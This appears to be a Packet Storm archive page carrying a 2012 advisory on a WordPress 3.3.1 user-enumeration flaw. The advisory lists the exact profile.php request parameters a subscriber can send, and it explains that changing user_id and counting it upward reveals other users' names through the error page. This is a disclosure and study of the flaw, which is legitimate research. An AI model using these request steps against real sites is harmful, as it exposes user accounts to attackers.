exploit the possibilities

WordPress 3.3.1 Parameter Pollution

WordPress 3.3.1 Parameter Pollution
Posted Mar 11, 2012
Authored by HauntIT

WordPress version 3.3.1 suffers from a parameter pollution vulnerability.

tags | exploit, remote, sql injection
MD5 | 81d2c9cd8cb509be8487313310ab0601

WordPress 3.3.1 Parameter Pollution

Change Mirror Download
# TITLE ....... # Wordpress 3.3.1 post-auth SQL Injection ............. #
# DATE ........ # 16.02.2012 .......................................... #
# AUTOHR ...... # http://hauntit.blogspot.com ......................... #
# SOFT LINK ... # http://wordpress.org ................................ #
# VERSION ..... # 1.0.0 ............................................... #
# TESTED ON ... # LAMP ................................................ #
# ..................................................................... #

# 1. What is this?
# 2. What is the type of vulnerability?
# 3. Where is bug :)
# 4. More...

#............................................#
# 1. What is this?
This is very nice CMS, You should try it! ;)

# 2. What is the type of vulnerability?
This is kind of wierd SQL Injection (or parameter manipulation for 'priviledge escalation').
For user who has admin access there is functionality like "show all users in webapp".
For normal user (registered, with "role" rights), there isn't functionality like this.
But using Wordpress in way that it is not designed to, we can get all user-names in
latest(/installed) WordPress (3.3.1).

# 3. Where is bug :)
To trigger this vulnerability, we must log in as a normal (registered/role rights) user.
You should know that this descriptions is covering getting only 1 username.
To automate this process to enumerate all users, write Your own PoC. ;)

If You're logged in as a normal user ("subscriber"), go to:
wordpress/wp-admin/profile.php

Now You should set parameters like this:
?_wpnonce=&
_wp_http_referer=&
from=profile&
checkuser_id=&
admin_color=&
admin_bar_front=&
first_name=last_name=&
nickname=&
display_name=&
email=tester@tester.com&
url=&
aim=&
yim=&
jabber=&
description=&
pass1=&
pass2=&
action=update&
user_id=3

Vulnerable parameter is (the last) "user_id".
When we set this parameter value to other integer value, we can get names of other users in webapp.
Information about name will back to us in error page (so for automate attacks You should
use something similar to n+1 (for value of user_id parameter).

I wrote similar tool for 3.2.1 version, here it is:
http://hauntit.blogspot.com/2011/09/wordpress-321-user-enumeration.html

Cheers!

# 4. More...

- http://www.wordpress.org
- http://hauntit.blogspot.com
- http://www.google.com
- http://portswigger.net

# Best regards
#
Login or Register to add favorites

File Archive:

October 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    16 Files
  • 2
    Oct 2nd
    1 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    24 Files
  • 5
    Oct 5th
    24 Files
  • 6
    Oct 6th
    11 Files
  • 7
    Oct 7th
    14 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    1 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    7 Files
  • 12
    Oct 12th
    15 Files
  • 13
    Oct 13th
    26 Files
  • 14
    Oct 14th
    10 Files
  • 15
    Oct 15th
    6 Files
  • 16
    Oct 16th
    2 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    14 Files
  • 19
    Oct 19th
    15 Files
  • 20
    Oct 20th
    20 Files
  • 21
    Oct 21st
    12 Files
  • 22
    Oct 22nd
    14 Files
  • 23
    Oct 23rd
    3 Files
  • 24
    Oct 24th
    1 Files
  • 25
    Oct 25th
    33 Files
  • 26
    Oct 26th
    27 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close